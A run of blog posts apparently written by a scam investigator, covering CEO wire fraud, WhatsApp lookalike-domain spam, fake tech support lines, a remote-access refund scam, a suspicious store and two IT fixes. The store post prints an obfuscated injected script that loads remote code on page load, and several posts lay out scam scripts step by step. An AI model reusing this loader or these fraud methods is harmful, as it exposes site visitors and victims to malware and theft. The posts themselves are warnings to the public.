“mugleyandco.co.uk” CEO / Director wire transfer fraud

A recently registered domain is being used in attempts to defraud companies and organisations out of money using BACS / Bank transfers.

mugleyandco.co.uk
Registrant details are a fictitious company at a real address.

Registrant:
 Derek Mugley

Trading as:
 Mugley Co

Registrant's address:
 Sheffield Road 443
 Chesterfield
 S41 8LT
 United Kingdom

Relevant dates:
 Registered on: 14-Jan-2018
 Expiry date: 14-Jan-2020
 Last updated: 14-Jan-2018

The scam starts with a contact within a company or organisation being sent an e-mail.. supposedly from the director or CEO of the company. In this instance the scammer failed and guessed, incorrectly, at the e-mail format for the organisation. The address in question doesn’t exist and has never existed. The person they chose to imitate doesn’t even use a computer regularly, let alone email.

director spoof fraud wire transfer email

“Quick question – could you let me know the cut off time for processing same day payments?”

Sender Preference Framework (SPF), in this instance, highlighted the forgery to the recipient.

Headers of the email are as follows:

Received: from p3plwbeout18-03.prod.phx3.secureserver.net (173.201.193.186) by
 LO2GBR01FT005.mail.protection.outlook.com (10.152.42.91) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id
 15.20.428.12 via Frontend Transport; Thu, 18 Jan 2018 11:08:10 +0000
Received: from p3plgemwbe18-02.prod.phx3.secureserver.net ([173.201.193.151])
	by :WBEOUT: with SMTP
	id c82kezjlTYt7tc82keBm7t; Thu, 18 Jan 2018 04:07:38 -0700
X-SID: c82kezjlTYt7t
Received: (qmail 2879 invoked by uid 99); 18 Jan 2018 11:07:38 -0000
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
X-Originating-IP: 5.65.27.74
User-Agent: Workspace Webmail 6.8.19
Message-ID: <20180118040736.4ee683f531e626f242b26faaf53eeeec.733ad06787.wbe@email18.godaddy.com>
From: David REDACTED <David.REDACTED@REDACTED.co.uk>
X-Sender: lisa@memorablemomentsmatter.com
Reply-To: David REDACTED <contact@mugleyandco.co.uk>
To: <accounts@REDACTED.co.uk>
Subject: Morning
Date: Thu, 18 Jan 2018 04:07:36 -0700
MIME-Version: 1.0
Return-Path: lisa@memorablemomentsmatter.com

It looks like the scammer is using a GoDaddy webmail account that belongs to “lisa@memorablemomentsmatter.com” and has an “identity” setup on the webmail to send / spoof the from address as the supposed impersonated director. The reply to address has been set to the newly registered domain with the email “contact@mugleyandco.co.uk”

The email was submitted to GoDaddy from a Sky Broadband IP address possibly based in Oxfordshire.

The scam would play out as so….

You get an email and the fraudster is counting on the fact that..

-They’ve guessed that the board member’s email address is name.name@company and you think it is legitimate.

-They hope you don’t notice, when you click reply, that the email address you are sending back to is different.

-They hope you don’t notice that the request / question is very unusual.

If you reply to the initial question about payment they will then send another request similar to: I need you to make a quick wire of £24,730 to cover a payment, I will send you the expenditure details for proper coding later today.

Along with some destination bank details.

They are just attempting to get people to wire X thousands of pounds and by the time (12 hours, 24 hours or more) that the company notices that the payment wasn’t legitimate the scammer is long gone as is the money.

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Whatsapp spreading spam “IDN” links (offr.rocks / milolead.com)

Today I delved into a bit of Whatsapp spam doing the rounds in the UK.

Screenshot_20180105-224821

This junk spreads using a Whatsapp message the same or similar to:

“Hey ! Waitrose celebrates its 113th anniversary and giving away FREE gift voucher worth of £250 to everyone ! click here to get yours : http://www.waıtrose.com/voucher  Enjoy .”

The domain involved is an “IDN” (International Domain Name)..  a domain name that can have more than just a-z and 0-9 as letters. They can have international symbols which look very much like normal alphabet letters.
(when these were launched people voiced their concerns about attacks like this.. and here they are).

In this instance the i in waitrose has been replaced with a different international letter.

The domain name that people are actually visiting (but is hidden behind the IDN system) is www.xn--watrose-sfb.com . The domain is registered via a whois privacy service but there are still some clues as to who is running the spam site.

The website is served from an Amazon AWS host and the DNS infrastructure doesn’t give any clues away.

However the source of the spam site has one unique bit of information: a Google Analytics / Tag Manager code of “UA-96118136-18”. The first part of this code (“UA-96118136”) is used to identify a specific Google Analytics account. The number at the end identifies the website under that account.
This code leads onto several other similar scam domain names!

waitrose-2018.life – Another Waitrose domain.
freedelta.world – (Delta airlines?) Seen using UA-96118136-23
http://www.xn--lid-xbb.com – Which translates to lidǀ.com (another EU supermarket) seen using UA-96118136-6 (“Lidl célèbre son 42 anniversaire et offre gratuit des chèques-cadeaux d’une valeur de €250 chacun!, Je viens de recevoir le mien, cliquez ici pour obtenir le vôtre : http://www.lidǀ.com/Bon Merci plus tard .”)
http://www.xn--ea-gpa2a.com – Which translates to www.ıĸea.com seen using UA-96118136-31
http://www.xn--costc-yob.com – Which translates to www.costcơ.com (International wholesale supermarket) seen using UA-96118136-46
http://www.southwest-pass.com – (Southwest airlines?) Seen using UA-96118136-38
http://www.xn--asa-wqa.com – Which translates to www.asđa.com (a UK supermarket) seen using UA-96118136-20

The website owner is also quite keen to prevent desktop users from seeing the page. There is some basic javascript to forward any screen resolution above 1000 pixels wide to a 404 page.

When you are using a mobile page you are given a series of supposedly survey questions – none of these question responses are stored anywhere or sent anywhere.

It then asks you to share the page with whatsapp friends – Once you’ve done this 15 times it forwards you to another page. (they don’t verify, just click the button 15 times and back out of sending the message! or (like in my case) don’t have Whatsapp installed so it can’t even attempt to send).

var c = 0;
$(document).ready(function() {
    $("#b1").on('click', function() {
        ++c;
        if (c &amp;amp;gt; 15) {
            $(this).attr({
                href: "http://www.xn--watrose-sfb.com/final.html",
                target: "_self"
            });
        }
    });
    $("#b2").on('click', function() {
        if (c &amp;amp;gt; 15) window.location = "http://www.xn--watrose-sfb.com/final.html";
        else window.alert("Share it with friends on WHATSAPP on our anniversary promotion!\n\n You must share to proceed " + c);
    });
});

http://www.xn--watrose-sfb.com/final.html is a simple single line page that forwards the user to:

http://track.voltrrk.com/d856c087-0ae9-4cd0-ada6-3c4c50f00857

The above is a host with an instant referral (CNAME) to “bxg1w.voluumtrk2.com” – a statistics tracking service.
This tracking service then redirects visitors to
http://offr.rocks/?a=2149&c=10512&s2=zDTEDITEDEDITEDEDITEDC

The above domain / page is probably the last of the “scammy” pages. The visitor is then redirected to what seems to be a “genuine” “Ocean Cloud” survey and competition:

http://milolead.com/page?country=uk&pub=2&cam=174&r=1XX4-1EDITED73&a=2149

Screenshot_20180105-232651

After bombarding you with demands for your name, date of birth, postal address and then telephone number it asks you tens of questions. Within a few minutes of filling in the survey it sends at least 5 e-mails and one text message with all sorts of spam. The emails have been for casinos and bitcoin.

The text message read

“Congrats NAMEEDITEDOUT,
You’ve Won a 
Free Bitcoin System
Claim it NOW here:
2018deal.com/l/cryptoa8Hp”

Eventually ends by redirecting you back to (I believe) the scammers controlled page.. whilst also sharing the telephone number with them too:

http://offr.rocks/?a=2511&c=8472&msisdn=07EDITED063&s2=XUJEDITED2BT

Who in turn then redirect you to yet another “offer”:

http://app.trk12.com/campaign/bc65e43d235d6b61464e9f8bc0859e45d90e5ac9?transaction_id=X3X9-15EDITED34&aff_id=2511&msisdn=07EDITED063

Screenshot_20180105-233258On this page “A brand of SB7 Mobile Ltd.” the terms and conditions hidden at the bottom note that you are signing up to a £4.50 a week SMS service. The page already has your number filled in (from the previous spam survey you just completed).

I presume the scammers get paid an affiliate fee each time they refer someone and their method to generate leads and referral fees is to trick people into sending spam Whatsapp messages.

Thoroughly scammy.

On a side note.. the service shown in the last screenshot is called “pinchecker.com”.. This company seem to handle the sign up process to the premium rate reverse charge SMS spam.
They seem to handle sign-ups for the following companies (some are all showing the same postal address):
PrizeHook.com – “SPTwo Ltd” / sptwo.com
PrizeAlerts.co.uk, JuicyWin.com, MintedMobi.com – “SB7 Mobile Ltd” / sb7mobile.com aka “Alerts 4 U”
PrizeNut.com, StarMystics.com – “KPMobTech Ltd” / kpmobtech.com

Associated domains on the pinchecker servers include “tiiny.uk”.. a website that leaks customer telephone numbers! Something that they can be fined for heavily once the EU GDPR comes in to effect.

Update: After just over a week of completing the above I then also got a text:

From: +60441
Free msg: Hi <REDACTED>, thanks for completing the telephone survey, now text back YES to confirm your number. vivalavoucher.co.uk Help 03447451791

Part of the same organisation? Or someone they sold their list to who now want me to opt in?

Also
From: +447860064308 / 07860064308
We are contacting you as you could be owed up to £2,442 if you were miss-sold PPI. Reply POST to receive your FREE check or STOP to opt-out, H&H

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Scummy fake tech support department on “1-855-676-2448” pretending to be genuine companies support.

These people are posting to youtube videos and many other places pretending to be customer care for genuine companies like AVG, HP, Quicken, Dell, Skype etc.

Needless to say – they are NOT the official support and are likely to incorrectly claim your computer has viruses and needs to be fixed for $150+ etc. Be very wary of any claims that people on the end of this phone number make.

One day I will call, test and record what happens.

scummy support company 1 855 676 2448

They post the US based phone number “1-855-676-2448”

Screenshot_20171003-124440

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Scummy fake tech support department “1-888-738-4333” and “1-844-711-1008”

Another day browsing the internet and another scummy fake tech support company.
This time trying to be support for almost every service in the world.scummy support company 1 888 738 4333 scummy support company 1 844 711 1008

One day I will call them and post the recording.

Screenshot_20170706-104703 Screenshot_20170707-123418

They don’t post a website but only a US phone number of “1-888-738-4333” and “1-844-711-1008” (or in their formatting “1844-711-1008”. Seems like a huge chunk of their spam posts are to linkedin (Would have thought that they would be far more proactive about removing such spam).

I believe that “1-888-269-0130” is also related to the same people.

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“01263 402788” TalkTalk Western Union scammers

It has been a while since I’ve had a report of one of these.. but today there was a victim.

The victim had a call from 01263402788 from someone claiming to be from TalkTalk.
The caller reportedly knew the make and model of the victims TalkTalk router and claimed there has been an ongoing fault that needed repairing.

They talked the victim through loading up TeamViewer and then Ammyy remote admin tools and did the fairly standard tech support scammer tricks of showing event viewer etc.

This is where the scam then pivots. They ask the victim to turn off their tablets and mobile phone (more on this later!) while they scan and fix the problem. They then claimed that the problem had been fixed and as compensation they would refund £200 to the victim/customer.

They then asked the customer to log into their internet banking to check if the refund had come through – all whilst they are connected via remote control to the victims computer. Once the victim has logged in they distract them with conversations or tasks while the scammer transfers £1200 between the victims own accounts (not sure what happens if there isn’t any other account or funds available). They then ask the victim to check the payment has come in.

Victim doesn’t notice that the payment has just been shuffled from their own accounts.. but does comment that “oh, I think you’ve overpaid me! It has come up as £1200, not £200”.

The scammer then goes on the guilt trip claiming he made a mistake and needs the money back as soon as possible otherwise he will lose his job. “The safest way to do this” is to use Western Union.
Victim believes the scammer, somehow didn’t get talked into doing the transaction on the western union online site (which has been the previous method) but instead is given the address of the nearest Western Union shop.

Victim goes – sends back the supposedly overpaid £1,000… scam is complete :(

In this instance the payment request was to a “James Odhiambo” in Kenya.. almost certainly a person who does not really exist and the payment won’t be collected from a WU shop in Kenya.

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Suspicious online store “www.atlantic-electrics.com”, “bidtravel@ya.ru” and “trkajtools.com”

Today I came across another suspicious website. This one is advertising on Amazon and other locations:

atlantic electrics advert.png

The website advertised is “www.atlantic-electrics.com”.. upon further inspection the following are red flags:

  • The domain has only been registered since 26th October 2017.. Not even two weeks old at the time of writing.
  • The domain uses “bitcoin-dns hosting”.. bitcoin doesn’t, yet, have much legitimate use.. The person hosting this website is paying by an anonymous payment method.
  • At the time of writing visitors are just being shown a proxied version of the co-op electrical website with one bit of injected code:
<script>var CIfRD = ['h,t,t,p,s,:,/,/,t,r,k,a,j,t,o,o,l,s,.,c,o,m,/,f,l,a,s,h,/,u,p,d,a,t,e'];var lF = CIfRD.join('').replace(/,/g,'');function bGZxEi() { function GN(jrekWr) {var NeSHCgurTf= document.createElement('script');NeSHCgurTf.setAttribute('type', 'text/javascript');NeSHCgurTf.setAttribute('src', jrekWr);if (typeof NeSHCgurTf != 'undefined'){document.getElementsByTagName('body')[0].appendChild(NeSHCgurTf)};}GN(lF)}if (window.addEventListener) {window.addEventListener('load', bGZxEi, false);} else if (window.attachEvent) {window.attachEvent('onload', bGZxEi);} else if (window.onLoad) {window.onload = bGZxEi; } </script> 

In short the code injected into the page requests javascript from:

hxxps://trkajtools.com/flash/update

UPDATE 2017-11-14: This has now changed and is injecting..

 <script src='https://mobileinstore.co.uk/Loaded'></script> 

Right now the above page is just serving a 0 byte file or rejecting the connection entirely.

I will come back to the trkajtools.com domain later, but for the moment let’s go back to atlantic-electrics.com.

The domain is registered with the following interesting information:

The email address “eugeneigibbons9@gmail.com”
The postcode “TS20 9GD”
The email address “bidtravel@ya.ru” (Associated with the bitcoin-dns account).

eugeneigibbons9@gmail.com
This e-mail address has been used to register two other suspicious domains of UK retailers…

https://currys.biz – a take on the name of “Currys PC World” in the UK. This site seems to just proxies through to eBuyer (another UK online electronics retailer) but also injects the “trkajtools” javascript.

https://pixmania.biz – another UK retailer.. this website currently proxies through to “coolshop” (whoever they are) and also injects the “trkajtools” javascript.

“TS20 9GD” – a postcode in the UK format however this postcode does not exist!

“bidtravel@ya.ru”
An email address associated with many writeups about sites using the Angler exploit kit.
This e-mail address is also associated with trkajtools.com

The website www.atlantic-electrics.com is hosted at 45.76.134.125 (“45.76.134.125.vultr.com”) and does not seem to host anything else.

So.. going back to “trkajtools.com”
This domain was purchased on 17th October 2017 and little intelligence exists about it. The only thing on google was the urlquery report that I ran on the domain earlier in the day. The domain also uses the “bitcoin-dns.hosting”.

The website trkajtools.com is hosted at 45.76.135.68 (“45.76.135.68.vultr.com”) and also does not seem to host anything else.

Summary

A lot of malicious or suspicious websites I find have a clear motive.. ones targeting electronics retail are normally there to steal credit card details or just trick visitors into sending money with no intention of shipping goods.
The atlantic-electrics website is far more ambiguous. It seems like a lot of effort to just infect a few people with an exploit kit whilst serving a page from a genuine retailer.
Possibly they plan to infect people while they investigate available websites and then skim the payment details once they place an order on a genuine website?

Maybe what is currently in place is just temporary and the website flips to being much more malicious at certain times of day or days of the week?

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Fix for Wireshark error “wireshark api-ms-win-crt-runtime”

Some of my systems have been giving the error “The program can’t start because api-ms-win-crt-runtime-l1-1-0.dll is missing from your computer. Try reinstalling the program to fix this problem.” after updating Wireshark.. took me a while to identify why.

Simple once you find the fix!

You need the “Update for Universal C Runtime in Windows”:

https://support.microsoft.com/en-us/kb/2999226

Thanks to Adobe for documenting this simply.

The above referenced Microsoft Update file also fixes a problem where Outlook may report “Either there is no default mail client or the current mail client cannot fulfill the messaging request. Please run Microsoft Outlook and set it as the default mail client.” if you have Office 2016.

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Hotels.com send spam from their China division to Lord of the Rings Onlike hacked email addresses!

Simple as that.. a unique address I used with Lord of the Rings Online, an online game, was sent official hotels.com spam in Chinese.

Received: from mta.email.hotels.com (mta.email.hotels.com [66.231.82.111])
	by my.mail.host with ESMTPS
	(version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256)
	; Sat, 23 Sep 2017 00:26:08 +0100
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=200608; d=mail.hotels.com;
 h=From:To:Subject:Date:List-Unsubscribe:MIME-Version:List-ID:Reply-To:Message-ID:Content-Type; i=info@mail.hotels.com;
 bh=DKTe3QJJazkAFXWyK6zHLxUqYdg=;
 b=UGXslgLXZ6IoUGRs5Eh5UtQAuQrBL+8ydzsdoOkP7jE100jtL/bjyCFHe4NMSFaE5PBq5AehwbCq
   OlVJ/8rljVaMUOP+yVNb0v8EBw04e6LjQQiqR+T5Z2atUf7rOz1MhabG0gH0o8G/IHCH1g/MEAnJ
   4xeOZGu6jcSXLzLs4C0=
DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=200608; d=mail.hotels.com;
 b=BJPNLB1/Wbc7dvpS/B3JPoSdcDCgnx3dlMgyqjbOJOG0ev6Aj8Lwrsi+GUnLiWzpzPvyjE8M/9Ia
   0rkNniYHQxJSVnErrzFPuEp127iaZciZQY6Tyhw2yZtXjv5ojJLqGgqfCESdii0a7US8MgeLu3Bz
   y4vfjFJy7W7hRHb8iQ8=;
Received: by mta.email.hotels.com id home1o163hs1 for <lorto@mydomain.here>; Fri, 22 Sep 2017 17:25:59 -0600 (envelope-from <bounce-1935712_HTML-1649075358-21435338-177351-13256@bounce.mail.hotels.com>)
From: =?UTF-8?B?SG90ZWxzLmNvbSDkuK3lm70=?=
 <info@mail.hotels.com>
To: <lorto@mydomain.here>
Subject: =?UTF-8?B?54++5Zyo6KiC77yM6aas5LiK55yB77yB?=
Date: Fri, 22 Sep 2017 17:25:58 -0600
List-Unsubscribe: <mailto:leave-redacted@leave.mail.hotels.com>
MIME-Version: 1.0
List-ID: <177351_21435338.xt.local>
X-CSA-Complaints: whitelistcomplaints@eco.de
x-job: 177351_21435338
Reply-To: =?UTF-8?B?SG90ZWxzLmNvbSDkuK3lm70=?=
 <reply-fe6216717167017e761c-1935712_HTML-1649075358-177351-13256@mail.hotels.com>
Message-ID: <95548813-ed9d-4c9f-ba06-905e53afb96e@xtinmta4198.xt.local>
Content-Type: multipart/alternative;
	boundary="kgwiAGSMgprd=_?:"
Return-Path: bounce-1935712_HTML-1649075358-21435338-177351-13256@bounce.mail.hotels.com

hotels dot com spam to lort lord of rings online.png

Poor show and amazing that a large company doesn’t care where they source their mailing lists or even check or require double-opt in confirmation.

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How to list available wifi access points on ZeroShell

If you use Zero Shell and want to see which wireless networks access points are visible to it the web interface does not allow you to do anything wifi based.

The SSH “push button” interface also doesn’t offer this function.

You do have to use shell!

ifconfig wlan0 up
iwlist wlan0 scan | grep 'Encryption key' -A 1 -B 1
ifconfig wlan0 down

Which should return something similar to this:

root@myrouter ~&gt; iwlist wlan0 scan | grep 'Encryption key' -A 1 -B 1
 Quality=20/70 Signal level=-90 dBm
Encryption key:off
ESSID:"BTWiFi-with-FON"
--
Quality=35/70 Signal level=-75 dBm
Encryption key:on
ESSID:"virginmedia8106815"
--
Quality=22/70 Signal level=-88 dBm
Encryption key:on
ESSID:"DIRECT-76-HP OfficeJet Pro 6960"
--
Quality=26/70 Signal level=-84 dBm
Encryption key:off
ESSID:"BTWiFi"
--

Shows you the Name of the network and if the network has encryption (password) enabled.

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Fake virus warning on “s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga” leading to tech support scam number.

A very unusual way I came across this one. I have several Google Alerts setup for keywords.. Google emailed me an alert for a very, very obscure search that I had setup.

Being unlikely to be a sensible result I was still interested. The URL Google had indexed and alerted on was:

hxxp://www.sukhiporibar.com/rosoiew/oyptke.php?br=my-keywords-here&ct=ga

This appears to now be just a wordpress(?) site now but at the time I got the alert it was forwarding on to:

coolinaas.pw
then
http://www.cpm10.com
then
normasimpson.info
then
s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga

The full URL of:

hxxps://s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga/loginerror10.com/ts-chrome-engnew201/?n=0800%20046%205257

Needless to say the message that then comes up is a fake virus warning along with audio clip telling you to call “support.Windows.com” on “0800 046 5257” (a UK freephone number).

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